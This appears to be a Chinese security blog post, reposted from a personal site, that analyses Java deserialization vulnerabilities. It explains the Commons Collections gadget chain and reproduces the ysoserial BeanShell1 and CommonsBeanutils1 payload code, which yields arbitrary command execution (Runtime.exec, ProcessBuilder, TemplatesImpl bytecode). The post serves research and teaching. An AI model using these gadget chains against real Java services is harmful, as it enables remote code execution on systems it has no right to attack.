前言

Java的漏洞中,这几年最出名的漏洞莫过于Java反序列化漏洞了。
Java的反序列化漏洞有一种含蓄美,不是那么一眼就能看出,一般要结合多个类,构造较为复杂的漏洞触发链。
这篇文章中将会分析一些反序列化漏洞的利用和绕过方法。

Java的序列化和反序列化

我们知道,序列化是一个将对象转化成字节流的过程,而反序列化是一个将字节流恢复成对象的过程。序列化和反序列化一般应用在对象的存储或传输中。

Java的序列化可以通过objectOutputStream类的writeObject方法来实现,而反序列化可以通过ObjectInputStream类的readObject方法来实现。

Java反序列化漏洞

关于Java的反序列化漏洞可以阅读长亭科技的这篇文章

Lib之过?Java反序列化漏洞通用利用分析

文中重点分析了利用Apache Commons Collections实现远程代码执行的原理,大概可以理解为:
Apache Commons Collections 3中有个TransformedMap类,它对标准的Map进行了拓展,当这个TransformedMap实例中的key或者value发生改变,会调用相应Transformertransform()方法,这个相应的Transformer是可以通过设置属性来设置的,而且可以用多个Transformer组合成ChainedTransformer,会依次调用transform()方法。

Apache Commons Collections 3自带的InvokerTransformer类的transform方法里面会根据传入的参数来通过Java的反射机制来调用函数。所以,我们可以利用它来调用我们想要调用的任意函数,如Runtime.getRunTime.exec

当然,这个以上所提到的需要key或者value改变,而默认的readObject函数并不会改变它们。所以,需要找到一个类,它的属性(成员变量)中包含有Map而且readObject函数会对key或者value进行改变,如setValue

然后,找到了AnnotationInvocationHandler类,它恰好符合上述条件,组合即可实现,输入一个序列化后的对象,程序执行反序列化操作,调用readObject方法,执行恶意代码。

听得有点迷糊吧,可以去看看上面提到的文章,跟着走一遍。

整个反序列化的流程是,AnnotationInvocationHandler对象,它的readObject函数

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
  var1.defaultReadObject();
  AnnotationType var2 = null;

  try {
    var2 = AnnotationType.getInstance(this.type);
  } catch (IllegalArgumentException var9) {
    throw new InvalidObjectException("Non-annotation type in annotation serial stream");
  }

  Map var3 = var2.memberTypes();
  Iterator var4 = this.memberValues.entrySet().iterator();

  while(var4.hasNext()) {
    Entry var5 = (Entry)var4.next();
    String var6 = (String)var5.getKey();
    Class var7 = (Class)var3.get(var6);
    if (var7 != null) {
      Object var8 = var5.getValue();
      if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
        var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
      }
    }
  }

}

这里其实还是需要分析一下的,我们的目的需要执行var5.setValue,要执行到这里需要一定的条件。只要动态调试一下就可以,主要是var7!=null这个条件,调试一下就可以发现var3只有value这个key,所以,需要Map中的键值为value,即innerMap.put("value","hello world");

OK,调用setValue函数,会依次调用ChainedTransformer里面的每一个Transformer的transform函数。这个ChainedTransformer的构建方法如下。

((Runtime) Runtime.class.getMethod("getRuntime").invoke()).exec("calc.exe");
1.Runtime.class
new ConstantTransformer(Runtime.class),
2.getMethod("getRuntime")
new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",new Class[0]}),
3.  invoke()
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},new Object[] {null, new Object[0]}),
4. exec("calc.exe")
new InvokerTransformer("exec", new Class[]{String.class},new Object[] {"calc.exe"}),

ysoserial

讲到Java反序列化漏洞,不得不提大名鼎鼎的Java反序列化漏洞通用Poc生成工具ysoserial.
分析时,ysoserial版本是0.0.6,有以下利用POC,现打算选里面的全部进行分析。

BeanShell1          @pwntester, @cschneider4711 bsh:2.0b5                                                                                                                                                                               
C3P0                @mbechler                   c3p0:0.9.5.2, mchange-commons-java:0.2.11                                                                                                                                               
Clojure             @JackOfMostTrades           clojure:1.8.0                                                                                                                                                                           
CommonsBeanutils1   @frohoff                    commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2                                                                                                                   
CommonsCollections1 @frohoff                    commons-collections:3.1                                                                                                                                                                 
CommonsCollections2 @frohoff                    commons-collections4:4.0                                                                                                                                                                
CommonsCollections3 @frohoff                    commons-collections:3.1                                                                                                                                                                 
CommonsCollections4 @frohoff                    commons-collections4:4.0                                                                                                                                                                
CommonsCollections5 @matthias_kaiser, @jasinner commons-collections:3.1                                                                                                                                                                 
CommonsCollections6 @matthias_kaiser            commons-collections:3.1                                                                                                                                                                 
FileUpload1         @mbechler                   commons-fileupload:1.3.1, commons-io:2.4                                                                                                                                                
Groovy1             @frohoff                    groovy:2.3.9                                                                                                                                                                            
Hibernate1          @mbechler                                                                                                                                                                                                           
Hibernate2          @mbechler                                                                                                                                                                                                           
JBossInterceptors1  @matthias_kaiser            javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21                                
JRMPClient          @mbechler                                                                                                                                                                                                           
JRMPListener        @mbechler                                                                                                                                                                                                           
JSON1               @mbechler                   json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
JavassistWeld1      @matthias_kaiser            javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21                                            
Jdk7u21             @frohoff                                                                                                                                                                                                            
Jython1             @pwntester, @cschneider4711 jython-standalone:2.5.2                                                                                                                                                                 
MozillaRhino1       @matthias_kaiser            js:1.7R2                                                                                                                                                                                
Myfaces1            @mbechler                                                                                                                                                                                                           
Myfaces2            @mbechler                                                                                                                                                                                                           
ROME                @mbechler                   rome:1.0                                                                                                                                                                                
Spring1             @frohoff                    spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE                                                                                                                                   
Spring2             @mbechler                   spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2                                                                                               
URLDNS              @gebl                                                                                                                                                                                                               
Wicket1             @jacob-baines               wicket-util:6.23.0, slf4j-api:1.6.4

BeanShell1 bsh:2.0b5

首先,先看一下payload,预告一下

public PriorityQueue getObject(String command) throws Exception {
// BeanShell payload

    String payload =
        "compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{" +
            Strings.join( // does not support spaces in quotes
                Arrays.asList(command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"","\\\"").split(" ")),
                ",", "\"", "\"") +
            "}).start();return new Integer(1);}";

// Create Interpreter
Interpreter i = new Interpreter();

// Evaluate payload
i.eval(payload);

// Create InvocationHandler
XThis xt = new XThis(i.getNameSpace(), i);
InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt);

// Create Comparator Proxy
Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);

// Prepare Trigger Gadget (will call Comparator.compare() during deserialization)
final PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
Object[] queue = new Object[] {1,1};
Reflections.setFieldValue(priorityQueue, "queue", queue);
Reflections.setFieldValue(priorityQueue, "size", 2);

return priorityQueue;
}

先来分析下payload吧,会对后面分析有帮助。
Interpreter类是一个解释器类,就像上面payload中的eval函数,可以动态执行Java代码。它执行的代码是定义一个compare函数,里面调用了ProcessBuilder来执行命令。可以想到最后要调用的就是这个compare函数,然后达到命令执行的效果啦。其实,对于compare函数我们还是比较熟悉的,用于对象比较,一般的Java入门书都会教。
InvocationHandlerProxy类使用了Java的动态代理机制。整个payload写得比较漂亮。

OK,接下来分析正文。

PriorityQueue类,它的readObject方法,跟进heapify()方法,里面调用siftDown方法,跟进,当comparator不为null,会调用siftDownUsingComparator,并在里面调用comparator.compare()方法。

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    // Read in size, and any hidden stuff
    s.defaultReadObject();

    // Read in (and discard) array length
    s.readInt();

    queue = new Object[size];

    // Read in all elements.
    for (int i = 0; i < size; i++)
        queue[i] = s.readObject();

    // Elements are guaranteed to be in "proper order", but the
    // spec has never explained what that might be.
    heapify();
}

private void heapify() {
    for (int i = (size >>> 1) - 1; i >= 0; i--)
        siftDown(i, (E) queue[i]);
}

private void siftDown(int k, E x) {
if (comparator != null)
    siftDownUsingComparator(k, x);
else
    siftDownComparable(k, x);
}

private void siftDownUsingComparator(int k, E x) {
    int half = size >>> 1;
    while (k < half) {
        int child = (k << 1) + 1;
        Object c = queue[child];
        int right = child + 1;
        if (right < size &&
            comparator.compare((E) c, (E) queue[right]) > 0)
            c = queue[child = right];
        if (comparator.compare(x, (E) c) <= 0)
            break;
        queue[k] = c;
        k = child;
    }
    queue[k] = x;
}

然后,我们需要一个comparatorSerializable的,最好里面的比较函数可以自己定义,这里有一点需要注意,我们不能创建类,因为反序列化的环境(攻击时)中会因为没有该类而报错。
可以想到,如果能够将我们定义compare函数存储在类的属性(成员变量)中,如果该类又是Serializable的,就可以实现在序列化文件中传递。
找到了Interpreter类,是一个解释器类,可以动态执行Java代码,可以将我们定义的compare函数储存在它的实例中。然后,用于构造XThis实例,并用XThis实例的InvocationHandler来创建Comparator的代理。这样,当调用这个Comparatorcompare函数时,会调用到我们存储在Interpreter实例中的compare函数。很巧妙!

CommonsBeanutils1 commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2

Payload预告

public class CommonsBeanutils1 implements ObjectPayload<Object> {

  public Object getObject(final String command) throws Exception {
    final Object templates = Gadgets.createTemplatesImpl(command);
    // mock method name until armed
    final BeanComparator comparator = new BeanComparator("lowestSetBit");

    // create queue with numbers and basic comparator
    final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
    // stub data for replacement later
    queue.add(new BigInteger("1"));
    queue.add(new BigInteger("1"));

    // switch method called by comparator
    Reflections.setFieldValue(comparator, "property", "outputProperties");

    // switch contents of queue
    final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
    queueArray[0] = templates;
    queueArray[1] = templates;

    return queue;
  }

  public static void main(final String[] args) throws Exception {
    PayloadRunner.run(CommonsBeanutils1.class, args);
  }
}

分析一下Gadgets.createTemplatesImpl,使用到的org.apache.xalan.xsltc.trax.TemplatesImpl

 private void defineTransletClasses()
throws TransformerConfigurationException {
...
    for (int i = 0; i < classCount; i++) {
  _class[i] = loader.defineClass(_bytecodes[i]);
  final Class superClass = _class[i].getSuperclass();
...
}

defineTransletClasses函数里面loader.defineClass_bytecodes加载为类。
所以存在一下Gadgets

getOutputProperties
newTransformer
getTransletInstance
defineTransletClasses
再结合PriorityQueueBeanComparator
PriorityQueue前面已经介绍,它反序列化时可以调用Comparator.compare方法。
这里利用了BeanComparator.compare方法。

public int compare( T o1, T o2 ) {

    if ( property == null ) {
        // compare the actual objects
        return internalCompare( o1, o2 );
    }

    try {
        Object value1 = PropertyUtils.getProperty( o1, property );
        Object value2 = PropertyUtils.getProperty( o2, property );
        return internalCompare( value1, value2 );
    }
    catch ( IllegalAccessException iae ) {
        throw new RuntimeException( "IllegalAccessException: " + iae.toString() );
    }
    catch ( InvocationTargetException ite ) {
        throw new RuntimeException( "InvocationTargetException: " + ite.toString() );
    }
    catch ( NoSuchMethodException nsme ) {
        throw new RuntimeException( "NoSuchMethodException: " + nsme.toString() );
    }
}

里面的PropertyUtils.getProperty会调用对应的get方法。
即,我们可以构造对象和property分别为TemplatesImplOutputProperties来触发调用。
此文章转载地址:http://ultramangaia.github.io/blog/2018/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E.html

标签: none

添加新评论